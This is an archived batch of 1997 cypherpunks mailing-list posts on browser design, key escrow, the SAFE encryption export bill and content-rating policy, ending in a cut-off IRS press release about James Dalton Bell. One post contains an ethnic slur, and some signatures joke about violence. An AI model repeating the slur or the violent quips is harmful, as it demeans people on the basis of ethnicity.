Content-Type: text/plain



At 9:42 AM -0700 7/18/97, Jim Burnes wrote:

>I've always been an admirer of the HotJava concept, if not the
>execution.  In other words, a dynamically modifiable browser that
>"learns" how to handle new objects on-the-fly.  When I first read
>Gosling's white paper on Java this was the biggest "ahaa!"
>I had.  I believe there is a version that uses Python instead of
...


For a short while after getting my first real Web access, after many years
of shell accounts at Portal, Netcom, etc., I thought Netscape (OK,
"Navigator") would be my Swiss Army Knife of apps. The One True Web App.

As it turned out, I continued using Eudora Pro for e-mail. I'd been using
it since 1992, and it had evolved along with other tools and remained
better than what Netscape had included in Navigator. At least to me it was
better.

And I adopted Newswatcher, a Mac app, for my newsreader.

So all I use Navigator for is Web browsing. Sadly, Navigator 3.0 just about
tripled in footprint, from about 5 MB to about 14 MB (for a relatively
crash-free setup, though it still crashes with "Type 11" memory errors a
couple of times a day). As I can't see any particular advantages to Version
3 over Version 2, except for "dancing Java images," :-{, I'm seriously
considering abandoning 3 and going back to 2.

I'm not at all convinced that monolithic apps like this will do well. A
cluster of smaller apps, provided they have relatively consistent
look-and-feel, as they mostly do, will probably do better for many of us.
Smaller, nimbler apps are harder for government forces to regulate,
influence, and limit.

What does this mean for crypto, certificates, etc.? It means that what
Netscape, Microsoft, and other monolithic app suppliers don't hold all the
cards. What the government forces/cajoles NS and MS to do with
certificates, crypto, Web ratings, could end up helping more users decide
to defect from the monolithic apps to smaller,less constraining apps.

Maybe this is part of why Netscape's stock price is continuing its long
downward slide....

Note to NS and MS employees reading this: If your products become
associated with Big Brother, a lot of people will shun them even further.

(Sidenote: I don't follow the "certificates" debate very closely. What I
think, however, is that I will not be constrained at all in communicating
with my offshore friends securely, regardless of what the government does
with export laws and GAK. Unless they outlaw domestic unescrowed crypto, or
illegalize the communications across U.S. borders with unescrowed crypto,
which seems ipso facto a violation of the First Amendment.)

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Adams <jadams@seahawk.navy.mil>
Date: Fri, 18 Jul 1997 23:51:58 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Censorware Summit Take II, from The Netly News
In-Reply-To: <3.0.2.32.19970717200041.0072b488@netcom10.netcom.com>
Message-ID: <Pine.WNT.3.96.970718103337.96A-100000@jadams.seahawk.navy.mil>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 17 Jul 1997, Lucky Green wrote:

> Nothing wrong with releasing a GNU browser, but you will find it difficult
> to impossible to match the features of a modern browser such as
> Communicator and MSIE. Some may be happy with Lynx. Myself and most
> consumers will stick with Communicator and MSIE.

Is there any particular reason that NCSA's Mosaic is being ignored?  Sure,
it's not GNU (hence not free to *everyone*) but it's out there, and it
works.

---
John Adams -=- Computer Specialist & Network Guru  O-  NADEP Cherry Point
Pensacola Florida   +1.904.452.8551 DSN:922-8551  jadams@seahawk.navy.mil
PGP ID 0x84E18C41 via key server - opinions expressed are entirely my own





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Sat, 19 Jul 1997 00:56:10 +0800
To: John Adams <jadams@seahawk.navy.mil>
Subject: Re: Censorware Summit Take II, from The Netly News
In-Reply-To: <Pine.WNT.3.96.970718103337.96A-100000@jadams.seahawk.navy.mil>
Message-ID: <Pine.LNX.3.95.970718095513.28674A-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain





On Fri, 18 Jul 1997, John Adams wrote:

> On Thu, 17 Jul 1997, Lucky Green wrote:
> 
> > Nothing wrong with releasing a GNU browser, but you will find it difficult
> > to impossible to match the features of a modern browser such as
> > Communicator and MSIE. Some may be happy with Lynx. Myself and most
> > consumers will stick with Communicator and MSIE.
> 
> Is there any particular reason that NCSA's Mosaic is being ignored?  Sure,
> it's not GNU (hence not free to *everyone*) but it's out there, and it
> works.
> 

I've always been an admirer of the HotJava concept, if not the 
execution.  In other words, a dynamically modifiable browser that
"learns" how to handle new objects on-the-fly.  When I first read
Gosling's white paper on Java this was the biggest "ahaa!"
I had.  I believe there is a version that uses Python instead of
Java, but despite the fact that I admire Python quite a bit
Java definitely has the momentum here.

How hard would it be to implement a Java-based browser that has
most of the goodies that we need from day to day (crypto, tables,
plug-ins, etc)?

Implement this thing like Linux so that we get a core team going
and everybody starts throwing in chunks of code, objects etc.
The first cut of this beast could be minimal and with its
hot extensibility could grow to accomodate anyone's needs.

Jim Burnes






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 19 Jul 1997 01:56:46 +0800
To: cypherpunks@toad.com
Subject: Re: FC: Brookings Inst. on crypto: "There are reasonable compromises" (fwd)
Message-ID: <Pine.GSO.3.95.970718104442.13136a-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Fri, 18 Jul 1997 10:40:17 -0700
From: Mike Godwin <mnemonic@well.com>
To: declan@well.com, fight-censorship-announce@vorlon.mit.edu
Subject: Re: FC: Brookings Inst. on crypto: "There are reasonable compromises"

At 9:17 AM -0700 7/18/97, Declan McCullagh wrote:
> Which
>is all you'll find at Morton's, where the menu lists a fine
>selection of slabs, all thick, bloody, expensive.

The last three words, of course, are an excellent description of most
Washington politicians.


--Mike




----------------------------------------------------------------------------
We shot a law in _Reno_, just to watch it die.

      Mike Godwin, EFF Staff Counsel, can be reached at mnemonic@eff.org
                   or at his office, 510-548-3290.
----------------------------------------------------------------------------








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 18 Jul 1997 23:22:01 +0800
To: Duncan Frissell <frissell@panix.com>
Subject: Re: Microsoft will NOT ship browser with RSACi on by default
In-Reply-To: <Pine.LNX.3.93.970717104955.314B-100000@shirley>
Message-ID: <v031107b4aff52c604dfb@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:54 am -0400 on 7/18/97, Duncan Frissell wrote:


> But how many divisions does Mr. Bill have?

Let's see...

How much did that trip to see Clinton on Martha's Vinyard cost last year?
The price of a jet flight and luxocondo rent? Whatever campaign / GAK
consideration Mr. Bill gave Clinton/Gore '96 at the time certainly called
off an entire anti-trust action by the Justice Department in a big hurry.
One could say it netted him all Mirosoft stock appreciation since, about
$18 billion, says Forbes this week.

Of course, payback's a bitch, as we're finding out now in the current
campaign to "save our children from the Internet".

To answer your question, Duncan, Mr. Bill could just go to Bill96 and call
up an Army division anywhere he wanted, I bet, but, frankly, he's much more
likely to ask for Microsoft Internet 99 (nee' Internet II) instead.
Complete, of course, with a brand new feature: Book-Entry Routing(tm).

Payback would be a bitch, again, but it's not Mr. Bill who's paying, is it?


Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Sat, 19 Jul 1997 01:12:36 +0800
To: Jim Burnes <jim.burnes@ssds.com>
Subject: Re: Censorware Summit Take II, from The Netly News
In-Reply-To: <Pine.LNX.3.95.970718095513.28674A-100000@westsec.denver.ssds.com>
Message-ID: <Pine.LNX.3.95.970718105837.28674B-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain





On Fri, 18 Jul 1997, Jim Burnes wrote:

> 
> 
> On Fri, 18 Jul 1997, John Adams wrote:
> 
> > On Thu, 17 Jul 1997, Lucky Green wrote:
> > 
> > > Nothing wrong with releasing a GNU browser, but you will find it difficult
> > > to impossible to match the features of a modern browser such as
> > > Communicator and MSIE. Some may be happy with Lynx. Myself and most
> > > consumers will stick with Communicator and MSIE.
> > 
> > Is there any particular reason that NCSA's Mosaic is being ignored?  Sure,
> > it's not GNU (hence not free to *everyone*) but it's out there, and it
> > works.
> > 
> 
> I've always been an admirer of the HotJava concept, if not the 
> execution.  In other words, a dynamically modifiable browser that
> "learns" how to handle new objects on-the-fly.  When I first read
> Gosling's white paper on Java this was the biggest "ahaa!"
> I had.  I believe there is a version that uses Python instead of
> Java, but despite the fact that I admire Python quite a bit
> Java definitely has the momentum here.


Slight correction...there is not a version of HotJava that uses
Python.  I was talking about a different product.

jim






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 19 Jul 1997 01:35:27 +0800
To: cypherpunks@toad.com
Subject: Re: Microsoft will NOT ship browser with RSACi on by default
In-Reply-To: <3.0.2.32.19970718085427.0364b774@panix.com>
Message-ID: <s1m20D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Duncan Frissell <frissell@panix.com> writes:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> At 10:52 AM 7/17/97 +1000, ? the Platypus {aka David Formosa} wrote:
> 
> >When microsoft has more power and money then most goverments I begin to 
> >see no real difference between president Bill gates and any other
> >totalrion dictator.
> 
> But how many divisions does Mr. Bill have?

The pope could beat the shit out of Bill if it was a real
Italian pope and not some dumb polack.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 19 Jul 1997 04:17:25 +0800
To: cypherpunks@toad.com
Subject: Keepers of the keys
Message-ID: <Pine.GSO.3.95.970718124449.26795G-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Fri, 18 Jul 1997 12:04:56 -0700 (PDT)
From: Joe Shea <joeshea@netcom.com>
To: Declan McCullagh <declan@well.com>
Cc: fight-censorship-announce@vorlon.mit.edu
Subject: Re: FC: Brookings Inst. on crypto: "There are reasonable compromises"


	Declan, what would you think if the actual keepers of the keys, 
so to speak, were the courts, such as the Administratoive Office of the 
US Courts?  That would at least seem to reduce a lot of the possible
privacy concerns.  One has the sense that once they get into the hands of 
the varius agencies, they'll get back out.

Best,

Joe Shea
Editor-in-Chief
The American Reporter
joeshea@netcom.com
http://www.newshare.com:9999






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lizard <lizard@dnai.com>
Date: Sat, 19 Jul 1997 05:21:31 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: Keepers of the keys
In-Reply-To: <Pine.GSO.3.95.970718124449.26795G-100000@well.com>
Message-ID: <3.0.1.32.19970718133642.00b6ee70@dnai.com>
MIME-Version: 1.0
Content-Type: text/plain



At 12:45 PM 7/18/97 -0700, Declan McCullagh wrote, quoting Joe Shea, for
those of you who can't follow attributions very well:

>	Declan, what would you think if the actual keepers of the keys, 
>so to speak, were the courts, such as the Administratoive Office of the 
>US Courts?  That would at least seem to reduce a lot of the possible
>privacy concerns.  One has the sense that once they get into the hands of 
>the varius agencies, they'll get back out.
>
>Best,
>
>Joe Shea
>Editor-in-Chief
>The American Reporter
>joeshea@netcom.com
>http://www.newshare.com:9999

Judges are human, too. "Agencies don't break the law -- people do". The
next Ames could be a judge on any Federal court. Frankly, I find it mildly
amusing no one has asked the Congressional defenders of key escrow, point
blank, "What safeguards do you have against keys falling into the hands of
the next Ames?" Who watches the watchmen?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Fri, 18 Jul 1997 16:03:05 +0800
Subject: Re: Censorware Summit Take II, from The Netly News
In-Reply-To: <199707180412.XAA09723@mailhub.amaranth.com>
Message-ID: <Pine.LNX.3.93.970718133319.604A-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 17 Jul 1997, William H. Geiger III wrote:

> Well 90% of the "features" of these browsers are complete crap. I have yet
> to see a web site that did anything constructive with frames and animated
> gifs are compleetly worthless.

I aggry however there are now meany sites that are now only have frame
based interfaces.  When useing when useing lynx I have to decode the
frames manuly.

[...]

> I was thinking more allong the lines of providing a strong, secure GNU
> browser for doing transactions over the net 

So basicly a non-nonsence bussness web-broser.  It would have to be
devloped outside the cyber certion though.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Zooko Journeyman <zooko@xs4all.nl>
Date: Fri, 18 Jul 1997 20:02:26 +0800
To: cypherpunks@toad.com
Subject: spawn of Vulis
Message-ID: <199707181146.NAA24061@xs1.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain



> FWIW, my 8 y o has his own IBM Aptiva, his own Internet access, his own
> e-mail box, and I exercise absolutely no control over what he reads or
> says on the Internet.


You need to help him set up a pseudonym, Dmitri.  Think about 
10 or 20 years down the road when he wants to get a contract/
join a phyle/avoid an enemy or whatever, and his entire 
childhood e-mail and virtual-community history is greppable via
a 2-second, 2-cent search.  This would give his employers/
partners/competitors/enemies/governments a great deal of 
leverage over him in various ways.  Also it might be very 
embarassing socially, which is no less important.


Get him a pseudonym.  You can always (more or less) claim the 
reputation capital that your pseudonym accumulated, but you can
never (probably) lose history accumulated under your True Name.


Of course he could always change his name/adopt a strong 'nym 
in the future in order to get a clean start, but this might not
be easy, especially since people can find him through you and 
perhaps other of his relatives or friends.


Sincerely,

Zooko Journeynym





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 19 Jul 1997 04:06:05 +0800
To: cypherpunks@ssz.com
Subject: http:--cnnfn.com-digitaljam-wires-9707-18-encryption_wg-
Message-ID: <199707181933.OAA04074@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



   
   
   Compaq: Outstanding Products, Great New Prices. [INLINE] Digital Jam
   graphic 
   Encryption battle heats up
   
   
   House committee set to vote next
   week on bill that would relax limits
   
   July 18, 1997: 1:38 p.m. ET
   
   
   [LINK] 
   [INLINE] 
   
   
   U.S. OKs Netscape exports - June 24, 1997
   
   Encryption bill nears vote - June 4, 1997
   
   
   [IMAGE]
   
   U.S. House of Representatives
   Infoseek search 
   __________
   ____  ____
   WASHINGTON (Reuter) - The battle in Congress over export limits on
   computer encoding technology will heat up again next week as the House
   International Relations Committee is scheduled to vote on a bill to
   dramatically relax the current restrictions.
   [INLINE] The legislation, already approved by the House Judiciary
   Committee, would allow U.S. companies to export powerful encryption
   programs, software which scrambles information and renders it
   unreadable without a password or software "key."
   [INLINE] The International Relations Committee plans to hold a vote on
   July 22 on the bill, authored by Virginia Republican Bob Goodlatte and
   called the Security and Freedom through Encryption Act.
   [INLINE] Once the realm of spies and generals, encryption has become
   increasingly important as a means of securing global communications
   and electronic commerce over the Internet.
   [INLINE] The Clinton administration favors strict controls on
   encryption exports unless the programs allow the government to crack
   the codes by gaining access to the software keys. But many lawmakers
   oppose the limits, which they say hurt U.S. firms while allowing
   foreign companies to gain market share.
   [INLINE] The Goodlatte bill has over 190 co-sponsors, including a
   majority of members of the committee.
   [INLINE] But committee chairman Benjamin Gilman, a New York
   Republican, is strongly opposed and may try to amend the bill to
   retain most export controls, congressional staffers said.
   [INLINE] The substitute amendment could be modeled on encryption
   export provisions in a broader bill in the Senate backed by Arizona
   Republican John McCain and Nebraska Democrat Bob Kerrey, staffers
   said. That bill was approved by the Senate Commerce Committee last
   month, but a bill more similar to Goodlatte's is pending in the Senate
   Judiciary Committee.
   [INLINE] The McCain-Kerrey bill would allow free export of
   medium-strength encryption, with keys up to 56 bits long, and
   establish a board to consider raising the limit in the future. But the
   president would have the authority to overrule the board's decisions
   for reasons of national security.
   [INLINE] The vote in the International Relations Committee could be
   close, some lobbyists said.
   [INLINE] "I think the votes are there to defeat a substitute, but it's
   probably going to be close," said one industry lobbyist who asked not
   to be named.
   [INLINE] The Goodlatte bill would also prohibit mandatory key recovery
   for encryption used within the United States and criminalize the use
   of encryption to hide evidence of a crime. But those provisions are
   outside the International Relations committee's jurisdiction.
   [INLINE] Privacy advocates back the bill, arguing that people need
   unfettered access to strong encryption to protect the privacy of
   personal data, medical records and electronic communications. The
   software industry is also supporting the legislation.
   [INLINE] But FBI director Louis Freeh and other top law enforcement
   officials warn that the proliferation of strong encryption overseas
   will complicate the task of keeping tabs on international criminals
   and terrorists. Link to top 
   
   
   
   home | digitaljam | contents | search | stock quotes | help
   
   Copyright &copy; 1997 Cable News Network, Inc.
   ALL RIGHTS RESERVED.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sat, 19 Jul 1997 06:35:17 +0800
To: cypherpunks@cyberpass.net
Subject: Crypto implants
Message-ID: <v03102817aff57f01f29b@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



[I could find no instance in the cypherpunks archives of this thread.
Forgive me if I've erred.]

As single chip crypto devices are now available (e.g., smart cards) it is
not unreasonable to ask how the implantation of advanced bio-chips may
challenge current notions of civil liberties.

A key US legal assumption of privacy is that one has an unlimited right to
one's thoughts but limited rights to ones ideas reduced to tangible form
and to communications. (The threads regarding the ability of the courts to
cause the a witness to disgorge a crypto key are closely related.)

Another civil liberty is the assumption that one owns and controls one's
body (unless arrested/imprisoned) and the government may not alter or
injure your body. Most citizens and hopefully the courts would find
invasion of this most sacrosanct part of one's being are repugnant.

An implied aspects of the privacy-crypto debate is that
mechanical/electronic devices outside of one's body are required for use of
crypto. But what happens if a person's body is augmented for various
purposes, including data storage, crypto and communications?  Unless a
proven crime were committed via these devices, is it feasible that a person
could be forced to submit to removal of an implant or to disgorge their
data contents?

--Steve


PGP mail preferred, see  http://web.mit.edu/network/pgp.html
PGP Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear (N7ZEZ)     | Internet: azur@netcom.com
7075 West Gowan Road     | Voice: 1-702-658-2654
Suite 2148               | Fax: 1-702-658-2673
Las Vegas, NV 89129      |
---------------------------------------------------------------------

        God grant me the serenity to accept the things I cannot change;
        The courage to change the things I can;
        The weapons that make the difference;
        And the wisdom to hide the bodies of the people that got in my way;-)

        "Surveilence is ultimately just another form of media, and thus,
        potential entertainment."
        --G. Beato

       "We've all heard that a million monkeys banging on a million
        typewriters will eventually reproduce the entire works of
        Shakespeare. Now, thanks to the Internet, we know this is
        not true."                           -- Dr. Robert Silensky






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave K-P <dkp@techie.com>
Date: Sat, 19 Jul 1997 02:58:00 +0800
To: cypherpunks@toad.com
Subject: 'Thanks for This Important Commitment'
Message-ID: <33CFB9BF.7267@techie.com>
MIME-Version: 1.0
Content-Type: text/plain



'Thanks for This Important Commitment'

                     by Dan Brekke and Rebecca Vesely 
                     6:06pm  17.Jul.97.PDT Some words that came out of
                     President Clinton's mouth the other day signaled
                     that the Web's biggest search and directory
                     services were on board for a major effort to get
                     sites to rate themselves. 

                     "We ... need to encourage every Internet site,
                     whether or not it has material harmful for young
                     people, to label its own content," Clinton said
                     Wednesday at a White House event to announce
                     his new Net self-regulation initiative. "... To
help to
                     speed the labeling process along, several Internet
                     search engines - the Yellow Pages of cyberspace,
                     if you will - will begin to ask that all Web sites
                     label content when applying for a spot in their
                     directories." 

                     And then the self-described techno-idiot went on
                     to thank Yahoo, Excite, and Lycos "for this
                     important commitment." 

                     What the president and most of those who
                     reported the big news missed is that the
                     companies made no such commitment. Calls to
                     Yahoo's PR department minutes after the
                     president spoke for details on what the company
                     would do to get site owners to rate themselves
                     were met with puzzlement. Eventually, callers
                     were pointed to a press release issued in the
                     name of Yahoo, Infoseek, Lycos, and Excite that
                     pledged the companies would do ... almost
                     nothing. 

                     The release announced "an initiative to work
                     together to promote self-regulation of the
Internet."
                     Got that? The statement talked about the
                     importance of the First Amendment and how the
                     directories could make a difference "by making it
                     easy for Web site developers to rate themselves
                     and to identify their sites appropriately." 

                     Regardless of how wide of the mark they were,
                     Clinton's words did make news. And Thursday,
                     some of the directory mavens were trying to clarify
                     things. 

                     A spokeswoman for Excite said the search
                     engines will continue to monitor evolving plans on
                     how to keep kids from accessing pornography
                     online. 

                     "We have committed to a) finding a system or
                     systems for rating sites, and b) after finding that
                     system, allowing our users to voluntarily rate
                     themselves," said Jerry Yang, co-founder of
                     Yahoo.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Sat, 19 Jul 1997 06:51:09 +0800
To: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Subject: Re: Censorware Summit Take II, from The Netly News
In-Reply-To: <Pine.LNX.3.93.970718133319.604A-100000@shirley>
Message-ID: <Pine.GSO.3.96.970718144724.22939H-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 18 Jul 1997, ? the Platypus {aka David Formosa} wrote:

> 
> On Thu, 17 Jul 1997, William H. Geiger III wrote:
> 
> > Well 90% of the "features" of these browsers are complete crap. I have yet
> > to see a web site that did anything constructive with frames and animated
> > gifs are compleetly worthless.
> 
> I aggry however there are now meany sites that are now only have frame
> based interfaces.  When useing when useing lynx I have to decode the
> frames manuly.

Get the new version of Lynx. (2.7?)  It does a better job of handling
frames.

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 19 Jul 1997 14:16:16 +0800
To: cypherpunks@toad.com
Subject: Re: Will Monolithic Apps Dominate?
In-Reply-To: <Pine.LNX.3.95.970718095513.28674A-100000@westsec.denver.ssds.com>
Message-ID: <v03110705aff564f7cc98@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:33 pm -0400 on 7/18/97, Tim May wrote:

<an excellent description of the industrial strength software bloat which
now afflicts the browser market>

"The Geodesic Network, OpendDoc, and CyberDog"
http://www.shipwright.com/rants/rant_03.html is the first rant I wrote on
<ducking> geodesic </d> software. It ended up in a much(!) shorter form as
a full-page opinion piece in InfoWorld two years ago this October.
Actually, it's about what happened to me at MacWorld almost exactly two
years ago.

Anyway, OpenDoc is now dead, probably because it wasn't geodesic enough, I
think. After all, it called itself a compound document archichitecture, and
people have figured out by now that software won't be about documents at
all.

OpenDoc, as implemented, layered too much onto an increasingly bloated
MacOS. It was awfully slow and required many twidgits and tweaks to make it
all go, and there wasn't enough stuff there when you were finished to want
to use it all. It became the bloatware it was trying to replace.

There will be sucessors to OpenDoc, but I also agree with Dave W(h)iner
that Java is probably more brand name than anything else. Like Chauncey
Gardner, Java is what we project onto it.

But, sooner or later, probably when we figure out how to make bits of code
handle money in somekind of micromoney ecology, with bits of cash as
software and processor 'food', we'll have geodesic software. Software which
scales and upgrades itself to the processor it's using, and which is
infinitely configurable and extremely efficient in its use of computation
resources. Software which gets smaller in order to solve smaller specific
problems instead of getting larger in never-ending cycles of feature-creep.
Software which auctions its services to the highest bidder, and which when
outcompeted by a rival, dies, just like any form of life.

As far as hardware goes, the world will not be populated with the kind of
top-down network-as-mainframe network computer of Larry Ellison's wet
dreams. Microprocessor prices will continue to collapse at least for the
next 10 years, and computers will trend toward ubiquity, moving into
practically every artifact of civilization, and all those computers will
talk to each other on a ubiquitous global internet.

The software those computers use will not be hard-wired, it will be
flexible and upgradable. It will be 'out of control'. It will be geodesic,
like the network itself.

Cheers,
Bob Hettinga







-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Koro <ksahin@best.com>
Date: Sat, 19 Jul 1997 08:06:04 +0800
To: Colin Rafferty <craffert@ml.com>
Subject: Re: Keepers of the keys
In-Reply-To: <Pine.GSO.3.95.970718124449.26795G-100000@well.com>
Message-ID: <33CFE7B6.4883@best.com>
MIME-Version: 1.0
Content-Type: text/plain



Colin Rafferty wrote:
> 
> Joe Shea (via Declan McCullagh) writes:
> 
> >       Declan, what would you think if the actual keepers of the keys,
> > so to speak, were the courts, such as the Administratoive Office of the
> > US Courts?  That would at least seem to reduce a lot of the possible
> > privacy concerns.  One has the sense that once they get into the hands of
> > the varius agencies, they'll get back out.
> 
> Why do I feel like we are going around and around in circles?
> 
> How about we give copies of our house-keys to the courts?  We should
> also send them our old backup tapes, just in case they need them, too.

It doesn't matter who holds the keys, the problems involved are
essentially the same.  Such powers are always abused.  

Getting back to the courts, don't tell me you (joe) are intending to
give our keys to the same courts who sign wiretap orders on a whim are
you?  The courts haven't proven themselves any more trust worthy than
other branches of government.  Furthermore, it is very difficult to take
such powers out of the hands of the courts. How will you fight something
like this, take it to court? 

> --
> #!/bin/perl -sp0777i<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<j]dsj
> $/=unpack('H*',$_);$_=`echo 16dio\U$k"SK$/SM$n\EsN0p[lN*1
> lK[d2%Sa2/d0$^Ixp"|dc`;s/\W//g;$_=pack('H*',/((..)*)$/)

Hey! it's the RSA export-A-sig.  I can recognize it anywhere...
-- 
					KORO
"In view of the present world situation," said the parlor philosopher,
"the best thing that can happen to a man is not to be born at all in the
first place. But I doubt that even one man in a hundred thousand is that
lucky."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sat, 19 Jul 1997 06:55:38 +0800
To: Lizard <cypherpunks@toad.com
Subject: Re: Keepers of the keys
In-Reply-To: <Pine.GSO.3.95.970718124449.26795G-100000@well.com>
Message-ID: <v03102818aff599461e84@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:36 PM -0700 7/18/97, Lizard wrote:>Frankly, I find it mildly
>amusing no one has asked the Congressional defenders of key escrow, point
>blank, "What safeguards do you have against keys falling into the hands of
>the next Ames?" Who watches the watchmen?

Why not go one step further and get the strong crypto supporters in the
Senate to tack on an ammendment to the McCain-Kerrey-bill forcing the FBI
and our most secret security agencies to use the very same
government/industry escrow entitites (but not any of the intelligence
organizations themselves) for all their encrypted data storage and
communications traffic and requiring regular GOA compliance reviews.

--Steve







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hayden-0797-EMP-HSE <rhayden@orion.means.net>
Date: Sat, 19 Jul 1997 05:09:52 +0800
To: Cypherpunks Mailing List <cypherpunks@cyberpass.net>
Subject: MN CP meeting?
Message-ID: <Pine.SOL.3.95.970718153117.6738A-100000@orion.means.net>
MIME-Version: 1.0
Content-Type: text/plain



Anyone up for a Minnesota CP get-together anytime this summer?
 
=-=-=-=-=-=
Robert Hayden					rhayden@means.net
IP Network Administrator			(612) 230-4416
MEANS Telcom





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Sat, 19 Jul 1997 07:24:26 +0800
To: cypherpunks@Algebra.COM
Subject: Something of Interest (fwd)
Message-ID: <Pine.GSO.3.96.970718155454.22939J-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



I recieved this today via e-mail.  I find it strange since I have never
asked to be put on any sort of "interest list" by anyone at the IRS.  (And
my Cypherpunks mail shows up at a different address.

Did anyone else get this?

alano@teleport.com | "Those who are without history are doomed to retype it."

---------- Forwarded message ----------
Return-Path: irsnwpr@net.insp.irs.gov
Received: from tcs_gateway1.treas.gov (tcs-gateway1.treas.gov [204.151.245.2]) by desiree.teleport.com (8.8.5/8.7.3) with SMTP id PAA28119; Fri, 18 Jul 1997 15:49:41 -0700 (PDT)
Received: by tcs_gateway1.treas.gov id AA19658
  (InterLock SMTP Gateway 3.0); Fri, 18 Jul 1997 18:47:00 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-2);
  Fri, 18 Jul 1997 18:47:00 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-1);
  Fri, 18 Jul 1997 18:47:00 -0400
Date: Thu, 17 Jul 1997 12:29:08 -0400
From: IRS Inspection <irsnwpr@net.insp.irs.gov>
Message-Id: <199707171629.MAA02733@net.insp.irs.gov>
To: Interested-Parties@net.insp.irs.gov
Subject: Something of Interest



					United States Attorney
					Western District of Washington

FOR IMMEDIATE RELEASE
July 18, 1997

JAMES D. BELL PLEADS GUILTY TO OBSTRUCTING THE IRS AND USING FALSE SOCIAL
SECURITY NUMBERS

United States Attorney Kate Pflaumer announced that JAMES DALTON BELL, 39,
pleaded guilty today in the federal court in Tacoma to two felony charges.
BELL, a resident of Vancouver, Washington, pleaded guilty to obstructing and
impeding the Internal Revenue Service (IRS), and to falsely using a social
security number with the intent to deceive.  United States District Court
Judge Franklin D. Burgess presided over today's proceedings.

The charges stem from an investigation initiated in October, 1996 by IRS
Internal Security Inspectors into reports that BELL was gathering the names
and home addresses of IRS employees. In previous court hearings, IRS
